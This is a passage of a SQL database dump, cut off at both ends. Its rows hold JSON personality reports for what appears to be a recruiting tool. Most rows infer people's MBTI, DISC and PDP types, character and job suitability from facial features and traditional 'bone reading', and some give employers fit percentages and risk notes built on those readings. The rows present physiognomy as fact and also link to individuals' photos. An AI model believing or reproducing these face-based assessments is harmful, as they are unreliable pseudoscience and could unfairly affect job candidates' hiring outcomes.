\"高度无结构、完全缺乏规则的创业环境早期核心岗位\", \"以情绪陪伴、共情为主的助人职业(如心理咨询、社工)\", \"需要极高创造性、不受任何约束的艺术型岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"抗压与稳定性\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"自驱力\", \"level\": \"high\", \"value\": \"85%\"}, {\"label\": \"沟通与影响力\", \"level\": \"high\", \"value\": \"80%\"}, {\"label\": \"团队协作与授权\", \"level\": \"medium\", \"value\": \"70%\"}, {\"label\": \"学习与反思能力\", \"level\": \"medium-high\", \"value\": \"75%\"}], \"headline\": \"一个偏结果导向的管理型执行者:敢站在前台、会说也能扛事,但在控制感与团队感受之间需要更好平衡。\"}, \"overview\": \"该候选人在不同测评结果中出现了明显分化:人脸&骨相+初始画像偏理性内敛型(INTJ / C / 猫头鹰),而正式测评结果则高度外向、表达型(ESTJ + 孔雀型 + DISC高I)。结合两类数据及通用职业行为规律,可推演其真实画像更可能是:外向-理性并存、重目标与结果、具较强表达与组织能力,但内核偏控制、自主与理性决策,既不是单一“冷静谋士型”,也不是典型“无拘无束的表演者型”。整体来看,是一个偏执行与管理导向、愿意站到台前但思维偏理性、对秩序与效率有要求的人。\", \"portrait\": {\"coreRisks\": [\"容易在自信与控制欲中不自觉压制他人,导致团队反馈不足\", \"在追求效率与结果时,可能忽略个体情绪与细节体验\", \"决策方式偏“自己想清楚再告知他人”,容易被误解为独断\", \"注意力在多目标并行时可能分散,优先级管理需要强化\", \"在人际上存在“既想影响他人又不愿过度暴露脆弱面”的矛盾,易形成距离感\"], \"workStyle\": \"工作风格偏“管理型执行者”:会主动承担责任、愿意站在前台协调和推动,关注结果和进度,习惯先搭好框架、再在框架内优化细节。面对任务时,倾向将复杂问题拆解为步骤,通过制定计划、分配任务、设定节点来推动。对模糊、标准不清的环境耐受度一般,更偏好目标明确、边界清晰的场景。决策时重视事实与逻辑,少受情绪左右,但在表达观点上往往坚定甚至强硬,需要学习更柔性的表达方式。\", \"coreStrengths\": [\"结果导向与执行力强,愿意对目标负责并推进落地\", \"逻辑与结构化思维良好,做事有步骤、有计划\", \"表达欲与影响力较强,能够带动氛围、说服他人\", \"对规则、流程和标准敏感,能维持团队基本秩序\", \"在中高压环境下具持续输出能力,抗压韧性较好\"]}, \"resumeHighlights\": \"(1)核心性格关键词:外向理性、结果导向、结构化执行、表达欲与控制感并存、在压力下表现稳定。 \\n\\n(2)真实性格深度分析:\\n- 性格底色:综合人脸/骨相“理性、克制、骨架稳健”与ESTJ/高I高T的结果,可以推断其底色为“理性+主导”的外倾型——不属于情绪化外向,而是带有明确目标、愿意组织他人的领导倾向。内心对秩序、掌控和自我效能感有较高需求,希望事情按自己的逻辑有序推进。\\n- 决策方式:偏向以事实、数据和经验为依据,重视“对不对”“能不能落地”,不太受他人情绪左右。在时间紧、压力大时,会更直接地下判断并要求执行,风险是忽略了团队的参与感与异议。\\n- 情绪管理:情绪整体可控,外显相对稳定,即便内心有焦虑或不满,也倾向通过“加快推进、加强控制”来应对,而不是公开化情绪。有一定“把情绪压成行动”的倾向,久而久之可能累积压力。\\n- 自我定位:倾向把自己定位为“能扛事、能组织、能把事干成”的角色,希望被视作可靠的执行与管理者;对被动、犹豫、效率低的环境耐受度低,容易产生批判和自行接管的冲动。\\n\\n(3)行为与沟通风格:\\n- 行为风格:\\n - 在团队中容易自然站到偏核心或组织位置,主动设定目标、推动节奏。\\n - 面对问题,第一反应是分析原因、提出解决方案,并推动执行,而不是陷在情绪中。\\n - 能接受一定压力与挑战,短期高压下反而会激发其行动力和决断力。\\n - 对拖延、反复无结论较为不耐烦,偏好“先做再调”的路径。\\n- 沟通风格:\\n - 表达相对直接、清晰,有较强说服与带动气氛的能力(对应PDP孔雀与DISC高I)。\\n - 但内核是理性和标准(对应ESTJ与C向特征),因此在给出意见时可能偏“讲道理”,容易忽略对方感受;在下属或同事眼中,可能被认为“有点强势、要求高”。\\n - 在不熟悉的人面前,会先以较正式、掌控局面的方式出现,一旦熟悉,则会释放更多幽默感和亲和度。\\n - 更习惯纵向汇报和横向协调,而不是进行情绪深度交流,对“无目的性闲聊”兴趣有限。\\n\\n(4)优势亮点:\\n1)目标感和执行落地\\n- 能较快把抽象目标拆解为具体行动,设定里程碑并持续跟进。\\n- 在执行过程中,会用节点、数据和进度来管理,而不是仅凭感觉。\\n\\n2)组织与协调能力\\n- 愿意站到前台整合资源、分配任务,协调不同角色的工作。\\n- 在跨部门或多方协作场景下,能够通过清晰沟通与结果导向推动共识。\\n\\n3)沟通与影响力\\n- 具备一定演讲、说明、说服能力,在会议和公开场合不怯场。\\n- 能够通过积极的态度和明确的方向感,给团队带来“有人带、能跟”的安全感。\\n\\n4)抗压能力与责任感\\n- 面对紧迫节点或高压任务,不容易情绪化,更偏向“咬牙顶上去”。\\n- 对自己负责的事情有较强责任心,不轻易“甩锅”。\\n\\n5)逻辑性与结构化\\n- 在汇报、沟通或写作时,通常能做到逻辑清晰、主线明确,让他人容易理解。\\n\\n(5)可提升方向(针对管理和职场表现):\\n1)平衡控制欲与团队参与感\\n- 建议在关键决策和任务拆解时,多做“先问后说”:先听团队意见,再给出自己的判断;即便已经想好方案,也可以有意识留出讨论空间。\\n- 学会用“共识感”取代“宣布式”沟通,有助于提升团队长期配合度和忠诚度。\\n\\n2)增强对情绪和关系的敏感度\\n- 在一对一沟通中,多关注对方状态,不只问“事情做得怎么样”,也问“你现在状态如何,有什么困难”。\\n- 对不同性格的人适配不同沟通节奏,如对谨慎型、安静型同事适当放慢语速、减少压迫感。\\n\\n3)管理好多任务并行下的优先级\\n- 对自己容易“一口气接太多”的倾向保持警觉,学会拒绝不合理任务或延后优先级较低事项。\\n- 使用更系统的时间与任务管理工具(如四象限法、项目管理软件),避免因注意力分散而影响交付质量。\\n\\n4)在“理性+效率”之外,增加一定弹性\\n- 对规则和流程的坚持是优势,但在高速变化的业务环境中,需要适当增加弹性和试错空间。\\n- 遇到不完美方案时,允许“先上线、再迭代”,避免因为追求完美标准拖慢整体进度。\\n\\n5)向上沟通与向下授权的双向优化\\n- 向上:多用数据和结果呈现自己的贡献,并适当表达对资源和支持的具体需求。\\n- 向下:在交代任务时讲清目标、边界、衡量标准,并给对方留下选择路径的空间,避免“事必躬亲”导致自己负荷过高。\\n\\n综合来看,该候选人适合担任“目标明确、有一定压力、需要组织与执行兼具”的岗位,尤其适合在已有基本制度和资源的团队中发挥“执中军、带队打仗”的角色。如果能在控制感、共情和授权方面进一步提升,将有潜力成长为稳健可靠的中高层管理者。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219017, 1773219017, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (120, 29, 'face', '{\"pdp\": {\"primary\": \"老虎\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"D\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ESTJ\", \"title\": \"总经理\"}, \"overview\": \"目标感强、执行力硬,兼具管理力度与现实判断,适合在结构清晰的环境中带队达成高目标。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg\"], \"boneAnalysis\": \"面部骨架端正紧实,颧骨与下颌略见棱角,骨肉比例协调,属于稳健持久型格局,利于在中年后持续发力。\", \"faceAnalysis\": \"额头平阔饱满,眼神专注稳定,鼻梁端正,嘴角有力收紧,下颌略方,整体给人理性稳健、执行导向的印象。\", \"personalitySummary\": \"性格务实果断,重视责任与承诺,擅长统筹安排与执行落地,人际中偏直接理性,带有天然威信与管理气场。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219347, 1773219347, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (121, 31, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳健务实、责任感强,重视规则与长期成果,适合承担关键管理与专业把控角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg\"], \"boneAnalysis\": \"面骨方正厚实,下颌承载力强,颧骨含而不露,属土形稳健格局,重视责任守成与长期积累。\", \"faceAnalysis\": \"额头平阔、眼神沉稳、鼻梁端正、嘴型收敛,下巴厚实,整体给人理性内敛、靠谱可信之感。\", \"personalitySummary\": \"性格沉稳自律,做事谨慎周全,强调原则与秩序;抗压能力强,遇事先分析后行动,擅长在复杂环境中稳步推进。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773219366, 1773219366, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (122, 1, 'resume', '{\"content\": \"{\\\"version\\\":2,\\\"overview\\\":\\\"该候选人在不同测评与人脸分析中呈现出明显的矛盾:一组数据显示为理性、内敛、规划型(INTJ / 猫头鹰 / C型),另一组则呈现外向、表现欲强、偏人际与影响力导向(ESTJ + 孔雀 / I型)。结合骨相与面相给出的“冷静、自持、内敛坚决”,更接近前者理性克制的一面。因缺少简历细节,只能做结构化推演:此人更大概率是以理性、规划、规则为底色的思考型选手,在职场中为了完成工作目标,会主动使用外向沟通、影响力与表达技巧,看上去像“会说话的管理者”,本质仍是以结果和逻辑为核心的务实派。以下画像以“理性规划+适度外向表现”的复合型为基准。\\\",\\\"portrait\\\":{\\\"coreStrengths\\\":[\\\"强逻辑思维与结构化分析能力\\\",\\\"目标导向清晰,执行稳定可靠\\\",\\\"抗压持久,情绪外显少,能在高压下维持理性判断\\\",\\\"规划与统筹能力较强,善于搭建流程与标准\\\",\\\"在必要场合具备一定号召力与表达能力,可承担对外沟通或团队动员\\\",\\\"原则感与责任心强,做事有底线,有始有终\\\"],\\\"coreRisks\\\":[\\\"性格基底偏内敛克制,长时间高强度对外社交会消耗较大,容易出现“社交性疲惫”\\\",\\\"容易过度强调逻辑与效率,对他人的情绪、感受关注度不够,易被感性同事视为“冷”“不近人情”\\\",\\\"对标准和秩序要求较高时,可能显得苛刻或控制欲偏强\\\",\\\"在信息不完整、变化快速且缺少规则的环境中,可能出现犹豫、拉长决策时间\\\",\\\"对自己要求较高,易自我施压,长期缺乏正向反馈时有心态耗损风险\\\"],\\\"workStyle\\\":\\\"工作风格上偏“理性管理者+任务指挥官”混合型:①先搭框架再行动:习惯在动手前理清目标、路径、关键节点和风险点,做事有计划、有步骤,不喜欢无序试错。②结果导向而非过程社交:与人沟通多围绕目标、任务和问题解决,闲聊型社交动力不强,但能在关键场合表现出良好表达与组织协调能力。③高标准自我要求:对自己和团队的工作质量、进度有较高要求,希望事情“按正确方式做对”,对低效、反复、拖延容忍度低。④压力下更理性:面对时间压力、项目冲突时,情绪控制较好,更倾向冷静拆解问题、排序优先级,不会轻易情绪化爆发。⑤偏向“自己先想明白再沟通”:遇到复杂议题时,会先独立思考、整理方案,再与团队讨论,少有完全“边想边拉会”的即兴风格。\\\"},\\\"hrView\\\":{\\\"roleRecommend\\\":{\\\"bestFit\\\":[\\\"项目管理 / PMO(尤其是需要流程设计、风险控制的项目)\\\",\\\"运营管理、流程优化、质量管理(适合梳理制度、建立标准)\\\",\\\"中后台管理岗(数据驱动、以结果和效率为导向的岗位)\\\",\\\"B端客户管理 / 企业服务顾问(偏解决方案型,而非纯关系型销售)\\\",\\\"职能线负责人(如运营、风控、质控、后端支持团队负责人)\\\"],\\\"notSuitable\\\":[\\\"高度情绪劳动型岗位(如全天候高强度客户投诉处理、一线高压服务岗)\\\",\\\"完全缺乏结构与规则、极度混沌初创早期岗位(“一切从零、天天变”的纯探索岗)\\\",\\\"以高频公关应酬、人情维护为主的“关系型销售”“政府关系”类岗位\\\",\\\"需要持续舞台表现和情绪感染的主播 / 主持 / 纯内容网红型岗位\\\"]},\\\"riskNotes\\\":[\\\"候选人外显MBTI为ESTJ、PDP为孔雀、DISC为I型,说明其在测评中可能有刻意强调外向、领导、表现的一面;而人脸与骨相分析偏INTJ/猫头鹰/C型,显示天然更接近理性内敛型。HR在面谈时需要重点验证其真实社交动力与持续外向表现的稳定性。\\\",\\\"若岗位要求持续高频对外社交、情绪调节和高强度临场发挥,需要确认候选人是否会在半年到一年后出现精力透支或职业倦怠。\\\",\\\"若组织文化偏感性、人情化、随机决策,候选人可能因“过于理性、说话直接”而融入难度增大,需要有相对规则、边界清晰的团队环境。\\\"]}},\\\"bossView\\\":{\\\"headline\\\":\\\"以理性与规则为底色、能适度外向担当的执行型管理者:适合作为项目与业务的“带队人”,但需要匹配相对理性的组织氛围。\\\",\\\"metrics\\\":[{\\\"label\\\":\\\"岗位匹配度(对结构化、项目/运营类管理岗位)\\\",\\\"value\\\":\\\"85%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"抗压与稳定性(在有一定规则和资源支持的环境)\\\",\\\"value\\\":\\\"88%\\\",\\\"level\\\":\\\"high\\\"},{\\\"label\\\":\\\"团队协作与带人潜力\\\",\\\"value\\\":\\\"80%\\\",\\\"level\\\":\\\"medium-high\\\"},{\\\"label\\\":\\\"对高频外向社交型岗位匹配度\\\",\\\"value\\\":\\\"60%\\\",\\\"level\\\":\\\"medium\\\"},{\\\"label\\\":\\\"组织文化适配(偏理性、制度化团队)\\\",\\\"value\\\":\\\"90%\\\",\\\"level\\\":\\\"high\\\"}],\\\"managementTips\\\":[\\\"给清晰目标和边界:对其说明业务目标、关键指标与决策权限,他会主动规划路径并执行落地,不宜长期让其在模糊需求下反复试错。\\\",\\\"用结果与逻辑沟通:在复盘、反馈时用数据、事实和案例说话,而非主要依赖情绪压力或模糊指令,其回应会更积极。\\\",\\\"授权问题解决,而不仅是任务执行:适合被赋予“问题包”,让他从诊断到方案到落地全权负责,而不是只做某个环节的螺丝钉。\\\",\\\"注意负荷与情绪补给:在大周期、高强度项目后,需安排阶段性复盘和合理休整,防止长期高压下的内耗。\\\",\\\"在团队中为其配备情感连接较强的搭档:由他主导逻辑与结构,由搭档增强团队氛围与情感链接,可以显著提升整体团队体验。\\\"]},\\\"resumeHighlights\\\":\\\"【性格底色与潜在特质】\\\\n- 人脸与骨相分析呈现“额头饱满、眉眼专注、下颌线清晰”,对应理性、克制、自律、目标感强的底色。\\\\n- 描述中“冷静自持、内敛坚决、重视原则与秩序、抗压持久”,与INTJ / 猫头鹰 / C型的理性规划、规则导向高度一致。\\\\n- 说明其在面对压力和不确定性时,更倾向通过理性分析与规划应对,而非情绪宣泄或短期冲动。\\\\n\\\\n【测评交叉验证与去伪存真】\\\\n- MBTI:人脸分析为 INTJ(内向、直觉、思考、判断型),正式测评结果为 ESTJ(外向、实感、思考、判断型)。两者共有:T(理性思考)、J(偏计划和结构);差异主要在E/I和N/S。结合面相内敛、克制特征,更接近“思考型、规划型”的I性格;但ESTJ的外向表达、组织能力也可能是其后天职场行为的表现。因此判断为:本质偏内向理性,具备职场训练出的管理与表达能力,可阶段性呈现外向管理者形态。\\\\n- PDP:系统结果为孔雀型(Peacock)偏表演、社交、影响力;人脸与骨相给出的则是“猫头鹰”(理性、分析、谨慎)。两者极为矛盾。考虑到孔雀型往往在测评中易受“理想领导形象”诱导而被高估,因此更大概率是候选人自我期望或在特定场景下的呈现,而非全天候特质。更可信的是:以猫头鹰为底,叠加一定外向与表现能力,而非纯孔雀。\\\\n- DISC:结果为I主C辅(影响型+一部分谨慎型),但面部和骨相充分印证C型特质——“稳健理性、看重原则、重视细节与秩序”。综合判断:C是稳定底色,I是可调用的工作模式(特别在需要推动他人、对外沟通时)。\\\\n- 综合三套系统:T(理性)、J(结构)、C(谨慎)、猫头鹰(分析)、以及适度I/孔雀(社交与影响力)反复出现,说明“理性规划+有组织力”是共识;而“极端外向、极爱表现”的部分可信度相对较低。\\\\n\\\\n【真实性格深度分析】\\\\n- 核心人格:以“理性、规划、原则”为核心驱动力,对世界的理解方式偏分析和拆解,希望事情有逻辑、有标准、有秩序。面对任务,先考虑“目标是什么”“路径怎么设计”“风险在哪里”,很少完全凭感觉即兴行事。\\\\n- 情绪与压力处理:情绪表达相对收敛,不容易在公共场合失控,习惯把压力内化为“我要把这件事做好”的自我要求。抗压持久,适合打“持久战”或长周期项目,但需要注意长期高压下的隐性疲劳和对自我否定的倾向。\\\\n- 对人对事的优先级:更看重事本身的逻辑、结果和专业度,对人际关系的期待是“基于合作与信任的长期关系”,而非短期的情绪互动。如果别人工作不专业、做事不靠谱,比起“对我好不好”,他更在意“事情有没有按标准完成”。\\\\n- 控制感需求:对可控性与确定性有一定需求,希望自己能掌握关键节奏、规则与资源。如果长期处在极高不确定、决策随意变动的环境中,会产生明显的挫败感和无力感。\\\\n\\\\n【行为与沟通风格】\\\\n- 沟通方式:语言通常偏直接、清晰、结果导向,不太绕圈。汇报和表达时注重逻辑结构(背景-问题-方案-风险-结论),在正式场合具备良好的“专业沟通者”形象,但不太擅长长时间轻松寒暄式社交。\\\\n- 决策风格:偏理性与数据驱动。喜欢先收集关键信息,再做判断;在时间有限时,也能基于经验快速决策,但更安心于有事实支撑的选择。对模糊信息有警惕,倾向做风险预案与B方案。\\\\n- 冲突处理:对事不对人,习惯用“规则、流程、职责边界”来拆解冲突。表达可能偏坚定甚至强硬,尤其在原则问题上,较少妥协。如果对方过于情绪化,他可能选择先保持冷静克制,但也容易被误认为“不近人情”。\\\\n- 团队协作:在明确自己负责的模块时,执行力强、稳定输出,是那种“交给他就不太需要操心”的人。带团队时,会强调规则、流程和标准,期待大家“按规范高质量交付”,在激励与情感关怀上相对务实,属于“用事带人”的管理风格。\\\\n\\\\n【优势亮点(对用人方有价值的部分)】\\\\n1. 逻辑与规划优势:\\\\n - 能快速理解复杂任务,拆解为可操作的计划和节点。\\\\n - 擅长梳理流程、制定标准、优化现有工作机制,适合承担“把混乱变有序”的角色。\\\\n2. 抗压和稳定性:\\\\n - 面对长周期、高强度项目能保持理性和执行稳定,不容易被短期情绪波动带偏。\\\\n - 适合承担关键节点的“项目守门人”,在节点压力下保障交付质量。\\\\n3. 责任感与原则性:\\\\n - 对承诺的事情有较强责任意识,不轻易甩锅或放弃。\\\\n - 在涉及风险、合规、质量的场景中,能坚守底线,避免团队和公司承担不必要的风险。\\\\n4. 适度外向与影响力:\\\\n - 虽非天然社交型人格,但通过训练与经验积累,能够在重要场合清晰表达、组织协调、推动他人行动。\\\\n - 在对外汇报、项目路演、跨部门协调中,有一定表现力和说服力。\\\\n\\\\n【可提升方向(对个人与管理者的建议)】\\\\n1. 平衡理性与共情:\\\\n - 在给下属或同事反馈时,建议先肯定努力与成果,再指出问题和改进方向,以缓冲其语言直接性带来的压力感。\\\\n - 有意识地询问对方感受与困难,不仅讨论“任务进度”,能提升团队对其的信任度与跟随意愿。\\\\n2. 管理好社交能量:\\\\n - 识别自己在高频社交和连续会议后的疲惫信号,安排必要的独处或安静工作时间,避免长期透支导致工作倦怠。\\\\n - 对自己在“需要表现”和“真实能量”的差距保持觉察,不必持续扮演高能外向者,可在团队中设计分工,让更擅长社交的人承担部分对外展示工作。\\\\n3. 增强在高不确定环境中的“试错容忍度”:\\\\n - 接受部分阶段性混沌和不完美信息,在某些创新或探索性项目中,允许“小步快跑、边试边调”的模式,不必一开始就追求最优方案和完整闭环。\\\\n - 将“控制一切”转为“控制关键变量”,在战略上保持弹性,战术上保持严谨。\\\\n4. 调整对自己和他人的标准层级:\\\\n - 区分“必须做到”的底线标准与“最好做到”的理想标准,避免对所有事情一视同仁地高要求,导致自己和团队负荷过高。\\\\n - 在不同阶段选定1—2个核心优先级,允许次要事项“合格即可”,提升整体效率与心态弹性。\\\"}\\\"}\", \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\"}', NULL, NULL, 0, 1, NULL, NULL, 1773219369, 1773219369, 6, 'enterprise'); +INSERT INTO `mbti_test_results` VALUES (123, 32, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、规划感强,做事稳健负责,重视长期目标与结果落地。适合承担决策与专业把关角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg\"], \"boneAnalysis\": \"骨相偏方正稳健,中停与下停力量感足,颧骨含而不露,属稳中有进型,擅长在既定框架内持续推进。\", \"faceAnalysis\": \"额头平阔、眼神专注,鼻梁端正,嘴型收敛,下颌稳实,整体给人冷静审慎、重视规则与逻辑的印象。\", \"personalitySummary\": \"性格理性克制,有主见与原则感,重视效率和专业度。对外略显严肃但可靠度高,偏好深度思考后再行动,抗压与自律能力突出。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773222595, 1773222595, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (124, 33, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISTJ\", \"title\": \"物流师\"}, \"overview\": \"稳重理性,责任感强,做事有规划且能长期坚持,适合承担关键事务与稳定推进型工作。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg\"], \"boneAnalysis\": \"整体偏土金形,骨骼端正饱满,骨肉均衡,抗压持久,重视现实与稳健推进,格局以务实统筹见长。\", \"faceAnalysis\": \"额头宽阔饱满,眼神沉稳专注,鼻梁平直鼻翼适中,嘴唇收敛有度,下巴圆厚具承载力。\", \"personalitySummary\": \"性格内敛理性,做事踏实谨慎,重视规则和承诺,执行力强且能长期投入,对细节与风险有良好把控。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227480, 1773227480, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (125, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静、思路清晰,擅长规划与分析,做事稳健克制,有长期目标与自我要求。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg\"], \"boneAnalysis\": \"骨骼均匀偏文骨,颧骨不过分外张,下颌略圆带稳,属稳健内敛型骨相。\", \"faceAnalysis\": \"额头饱满顺宽,眼神稳定内敛,鼻梁端正,嘴型收敛度好,整体面相理性审慎。\", \"personalitySummary\": \"思维缜密,重视逻辑与结构,情绪平和不外露,偏低调内向,做事有计划并追求高标准。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773227875, 1773227875, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (126, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性内敛、思维缜密,重视效率与结果,适合承担规划决策与系统优化类角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg\"], \"boneAnalysis\": \"骨相偏方正稳固,下颌与颧区轮廓清晰,骨肉均衡,属稳健理性型格局,重视长期规划与现实落地。\", \"faceAnalysis\": \"额头饱满开阔,眼神沉稳内敛,鼻梁端正,嘴型收敛偏直,整体给人冷静克制、理性思辨之感。\", \"personalitySummary\": \"性格冷静自持,逻辑性与判断力强,做事有计划有步骤,重视原则和边界,人际中偏克制但可靠度高。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228025, 1773228025, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (127, 24, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性冷静,重视规划与结果,稳健务实,适合承担核心决策与系统优化角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg\"], \"boneAnalysis\": \"骨相偏土金形,颧骨内敛但有力,下颌骨承载感强,骨肉匀称,显示格局稳健、抗压持久,适合长期深耕与统筹。\", \"faceAnalysis\": \"额头宽阔饱满,双眼沉稳内敛,鼻梁顺直,嘴型收敛度佳,下巴略圆带厚,整体给人理性坚毅、稳重内敛之感。\", \"personalitySummary\": \"思维逻辑清晰,善于系统分析与长期规划,做事稳中求进,情绪波动小,人际中相对克制有边界,适合承担策略制定和关键项目把控工作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228086, 1773228086, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (128, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重细腻、责任感强,重视长期稳定与家庭事业平衡,适合在熟悉领域深耕并承担管理与支持角色。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg\"], \"boneAnalysis\": \"整体偏土形,骨肉均衡,颧骨不张、下颌圆厚,骨相稳健守成,抗压持久,适合循序渐进型发展路线。\", \"faceAnalysis\": \"额头饱满顺滑,眉眼平和含蓄,鼻梁端正鼻翼适中,嘴型收敛,下巴圆厚有承托感,全脸线条柔和稳定。\", \"personalitySummary\": \"性格内敛踏实,重视承诺与责任,做事稳健有耐心,关怀他人但边界感适中,适合在稳定环境中长期深耕并支持团队运作。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228411, 1773228411, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (129, 33, 'face', '{\"pdp\": {\"primary\": \"考拉\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"S\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ISFJ\", \"title\": \"守卫者\"}, \"overview\": \"稳重内敛,责任感强,做事踏实细腻,重视长期稳定与家庭事业的双重平衡。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg\"], \"boneAnalysis\": \"面中下停略重,骨架圆厚有承载力,颧骨不露锋芒偏守成型,整体格局稳健重实务与耐力。\", \"faceAnalysis\": \"额头宽阔饱满,眼神温和含蓄,鼻梁平直端正,嘴角收敛,下巴圆厚,整体给人可靠稳重之感。\", \"personalitySummary\": \"性格温和有韧性,重视承诺与责任,行事谨慎周全,偏向务实执行与长期投入,善于照顾他人情绪与细节。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773228469, 1773228469, NULL, 'personal'); +INSERT INTO `mbti_test_results` VALUES (130, 35, 'face', '{\"pdp\": {\"primary\": \"猫头鹰\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"C\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"INTJ\", \"title\": \"战略家\"}, \"overview\": \"理性克制、思维缜密,擅长规划与分析,稳健踏实,有长期发展眼光与自我要求。\", 